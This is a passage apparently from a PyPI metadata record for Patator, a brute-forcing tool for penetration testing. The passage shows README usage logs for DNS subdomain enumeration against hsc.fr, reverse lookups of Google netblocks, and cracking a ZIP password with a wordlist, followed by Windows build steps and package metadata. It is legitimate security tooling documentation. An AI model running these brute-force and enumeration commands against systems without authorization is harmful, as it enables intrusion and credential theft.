INFO - 0     81   | mail                               |    32 | NOERROR [mail.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]\n03:18:46 patator    INFO - 0     44   | webmail                            |    62 | NOERROR [webmail.hsc.fr. IN A 192.70.106.95]\n03:18:46 patator    INFO - 0     93   | test                               |    54 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]\n03:18:46 patator    INFO - 0     40   | wap                                |    66 | NOERROR [wap.hsc.fr. IN A 192.70.106.33]\n03:18:46 patator    INFO - 0     85   | extranet                           |   131 | NOERROR [extranet.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]\n03:18:46 patator    INFO - 0     81   | news                               |   114 | NOERROR [news.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]\n03:18:46 patator    INFO - 0     93   | mailhost                           |   137 | NOERROR [mailhost.hsc.fr. IN A 192.70.106.33][mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd]\n03:18:46 patator    INFO - 0     47   | lists                              |   338 | NOERROR [lists.hsc.fr. IN MX 10 itesec.hsc.fr.]\n03:18:46 patator    INFO - 0     93   | fr                                 |   319 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]\n03:18:47 patator    INFO - 0     40   | gl                                 |   586 | NOERROR [gl.hsc.fr. IN A 192.70.106.103]\nRecords ------------------------------------------\n                  extranet.hsc.fr.   IN CNAME   itesec.hsc.fr.\n                        gl.hsc.fr.   IN A       192.70.106.103\n                           hsc.fr.   IN SOA     itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600\n                    itesec.hsc.fr.   IN A       192.70.106.33\n                     lists.hsc.fr.   IN MX      10 itesec.hsc.fr.\n                      mail.hsc.fr.   IN CNAME   itesec.hsc.fr.\n                  mailhost.hsc.fr.   IN A       192.70.106.33\n                  mailhost.hsc.fr.   IN AAAA    2001:7a8:1155:2::abcd\n                      news.hsc.fr.   IN CNAME   itesec.hsc.fr.\n                       wap.hsc.fr.   IN A       192.70.106.33\n                   webmail.hsc.fr.   IN A       192.70.106.95\n                       www.hsc.fr.   IN A       217.174.211.25\nHostmap ------------------------------------------\n                   mailhost.hsc.fr 2001:7a8:1155:2::abcd\n                   mailhost.hsc.fr 192.70.106.33\n                        wap.hsc.fr 192.70.106.33\n                     itesec.hsc.fr 192.70.106.33\n                   extranet.hsc.fr\n                       mail.hsc.fr\n                       news.hsc.fr\n                    webmail.hsc.fr 192.70.106.95\n                         gl.hsc.fr 192.70.106.103\n                        www.hsc.fr 217.174.211.25\nDomains ------------------------------------------\n                            hsc.fr 10\nNetworks -----------------------------------------\n                                   2001:7a8:1155:2::abcd\n                                   192.70.106.x\n                                   217.174.211.25\n03:18:53 patator    INFO - Hits/Done/Skip/Fail/Size: 11/1000/0/0/1000, Avg: 133 r/s, Time: 0h 0m 7s\n```\n\nAlso notice that `test.hsc.fr.` is the start of a new zone because we got NOERROR and no IP address.\n\n* DNS : Reverse lookup two netblocks owned by Google\n\n```\n$ dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-\n03:24:22 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:24 PMT\n03:24:22 patator    INFO -\n03:24:22 patator    INFO - code  size | candidate                          |   num | mesg\n03:24:22 patator    INFO - ----------------------------------------------------------------------\n03:24:22 patator    INFO - 0     46   | 216.239.32.10                      |    11 | NOERROR [216.239.32.10 IN PTR ns1.google.com.]\n03:24:22 patator    INFO - 0     45   | 216.239.32.11                      |    12 | NOERROR [216.239.32.11 IN PTR ns.google.com.]\n03:24:22 patator    INFO - 0     48   | 216.239.32.15                      |    16 | NOERROR [216.239.32.15 IN PTR time1.google.com.]\n03:24:23 patator    INFO - 0     47   | 216.239.33.5                       |   262 | NOERROR [216.239.33.5 IN PTR proxy.google.com.]\n03:24:23 patator    INFO - 0     47   | 216.239.33.12                      |   269 | NOERROR [216.239.33.12 IN PTR dns1.google.com.]\n03:24:23 patator    INFO - 0     51   | 216.239.33.22                      |   279 | NOERROR [216.239.33.22 IN PTR transfer.google.com.]\n03:24:23 patator    INFO - 0     50   | 216.239.33.20                      |   277 | NOERROR [216.239.33.20 IN PTR esc-out.google.com.]\n03:24:23 patator    INFO - 0     46   | 216.239.34.10                      |   523 | NOERROR [216.239.34.10 IN PTR ns2.google.com.]\n03:24:23 patator    INFO - 0     48   | 216.239.34.15                      |   528 | NOERROR [216.239.34.15 IN PTR time2.google.com.]\n^C\nRecords ------------------------------------------\n                     216.239.32.10       IN PTR      ns1.google.com.\n                     216.239.32.11       IN PTR      ns.google.com.\n                     216.239.32.15       IN PTR      time1.google.com.\n                     216.239.33.12       IN PTR      dns1.google.com.\n                     216.239.33.20       IN PTR      esc-out.google.com.\n                     216.239.33.22       IN PTR      transfer.google.com.\n                      216.239.33.5       IN PTR      proxy.google.com.\n                     216.239.34.10       IN PTR      ns2.google.com.\n                     216.239.34.15       IN PTR      time2.google.com.\nHostmap ------------------------------------------\n                    ns1.google.com 216.239.32.10\n                     ns.google.com 216.239.32.11\n                  time1.google.com 216.239.32.15\n                  proxy.google.com 216.239.33.5\n                   dns1.google.com 216.239.33.12\n                esc-out.google.com 216.239.33.20\n               transfer.google.com 216.239.33.22\n                    ns2.google.com 216.239.34.10\n                  time2.google.com 216.239.34.15\nDomains ------------------------------------------\n                        google.com 9\nNetworks -----------------------------------------\n                                   216.239.32.x\n                                   216.239.33.x\n                                   216.239.34.x\n03:24:29 patator    INFO - Hits/Done/Skip/Fail/Size: 9/872/0/0/4352, Avg: 115 r/s, Time: 0h 0m 7s\n03:24:29 patator    INFO - To resume execution, pass --resume 91,75,93,73,84,95,94,95,83,89\n```\n\n* ZIP : Crack a password-protected ZIP file (older pkzip encryption used not to be supported in JtR)\n\n```\n$ unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0\n10:54:29 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT\n10:54:29 patator    INFO -\n10:54:29 patator    INFO - code  size | candidate                          |   num | mesg\n10:54:29 patator    INFO - ----------------------------------------------------------------------\n10:54:30 patator    INFO - 0     82   | love                               |   387 | 0 [82] No errors detected in compressed data of challenge1.zip.\n^C\n10:54:31 patator    INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s\n10:54:31 patator    INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154\n```\n\n## PyInstaller\n### Bundling on Windows 5.2.3790 x86\n\nInstall `python-2.7.9.msi` from [Python](https://www.python.org/downloads/windows/).\nInstall `pywin32-219.win32-py2.7.exe` from [PyWin32](http://sourceforge.net/projects/pywin32/files/pywin32/).\nInstall `vcredist_x86.exe` from [Microsoft](http://www.microsoft.com/en-us/download/confirmation.aspx?id=29).\nInstall `Git-1.9.5.exe` from [Git](http://git-scm.com/download/win) (and select \"Use Git from Windows Command Prompt\" during install).\nAdd `c:\\Python27;c:\\Python27\\Scripts` to your `PATH`.\n\n```\npip install pycrypto pyopenssl\npip install impacket\npip install paramiko\npip install IPy\npip install dnspython\npip install pysnmp\n\ncd c:\\\ngit clone https://github.com/lanjelot/patator\ngit clone https://github.com/pyinstaller/pyinstaller\ncd pyinstaller\ngit checkout a2b0617251ebe70412f6e3573f00a49ce08b7b32 # fixes this issue: https://groups.google.com/forum/#!topic/pyinstaller/6xD75_w4F-c\npython pyinstaller.py --clean --onefile c:\\patator\\patator.py\npatator\\dist\\patator.exe -h\n```\n\nThe resulting stand-alone `patator.exe` executable was confirmed to run successfully on Windows 2003 (5.2.3790), Windows 7 (6.1.7600), Windows 2008 R2 SP1 (6.1.7601) and Windows 2012 R2 (6.3.9600), and is likely to work fine on other Windows versions.\n\nRefer to [#50](https://github.com/lanjelot/patator/issues/50) for more info.\n",
    "bugtrack_url": null,
    "license": null,
    "summary": "Multi-purpose brute-forcer",
    "version": "1.1.0",
    "project_urls": {
        "Homepage": "https://github.com/lanjelot/patator",
        "Issues": "https://github.com/lanjelot/patator/issues"
    },
    "split_keywords": [
        "brute force",
        " password attack",
        " pentest"
    ],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "2ff8c7e7b0a1a919cedd4ea1ffcce04004c1b6b53a7283b8c4cc4d58f20b81ab",
                "md5": "19322fffa35b2d7edc58fe0461042224",
                "sha256": "764df0f574a27227d5ffa8b4cf9b44656dff01e0986e08dc7ffe5eb549a11a04"
            },
            "downloads": -1,
            "filename": "patator-1.1.0-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "19322fffa35b2d7edc58fe0461042224",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.13",
            "size": 51798,
            "upload_time": "2025-02-17T02:15:29",
            "upload_time_iso_8601": "2025-02-17T02:15:29.036659Z",
            "url": "https://files.pythonhosted.org/packages/2f/f8/c7e7b0a1a919cedd4ea1ffcce04004c1b6b53a7283b8c4cc4d58f20b81ab/patator-1.1.0-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "37e485e6c8750c5f1928050e5aa029b37986a63e1f0ba13bbede46b7848055ea",
                "md5": "5ed9d5a17b48cc5cba8bf3aa3d4b177c",
                "sha256": "06ea41fece07364e835316eb1c1fe89ea792ee42f45ac18f6768ea2948fb0c9c"
            },
            "downloads": -1,
            "filename": "patator-1.1.0.tar.gz",
            "has_sig": false,
            "md5_digest": "5ed9d5a17b48cc5cba8bf3aa3d4b177c",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.13",
            "size": 57303,
            "upload_time": "2025-02-17T02:15:30",
            "upload_time_iso_8601": "2025-02-17T02:15:30.833194Z",
            "url": "https://files.pythonhosted.org/packages/37/e4/85e6c8750c5f1928050e5aa029b37986a63e1f0ba13bbede46b7848055ea/patator-1.1.0.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-02-17 02:15:30",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "lanjelot",
    "github_project": "patator",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "requirements": [
        {
            "name": "paramiko",
            "specs": [
                [
                    "==",
                    "3.5.1"
                ]
            ]
        },
        {
            "name": "pycurl",
            "specs": [
                [
                    "==",
                    "7.45.4"
                ]
            ]
        },
        {
            "name": "ajpy",
            "specs": [
                [
                    "==",
                    "0.0.5"
                ]
            ]
        },
        {
            "name": "impacket",
            "specs": [
                [
                    "==",
                    "0.12.0"
                ]
            ]
        },
        {
            "name": "cx_Oracle",
            "specs": [
                [
                    "==",
                    "8.3.0"
                ]
            ]
        },
        {
            "name": "mysqlclient",
            "specs": [
                [
                    "==",
                    "2.2.7"
                ]
            ]
        },
        {
            "name": "psycopg2-binary",
            "specs": [
                [
                    "==",
                    "2.9.10"
                ]
            ]
        },
        {
            "name": "pycryptodomex",
            "specs": [
                [
                    "==",
                    "3.21.0"
                ]
            ]
        },
        {
            "name": "dnspython",
            "specs": [
                [
                    "==",
                    "2.7.0"
                ]
            ]
        },
        {
            "name": "IPy",
            "specs": [
                [
                    "==",
                    "1.1"
                ]
            ]
        },
        {
            "name": "pysnmp",
            "specs": [
                [
                    "==",
                    "7.1.16"
                ]
            ]
        },
        {
            "name": "telnetlib-313-and-up",
            "specs": [
                [
                    "==",
                    "3.13.1"
                ]
            ]
        }
    ],
    "lcname": "patator"
}
        
Elapsed time: 0.49054s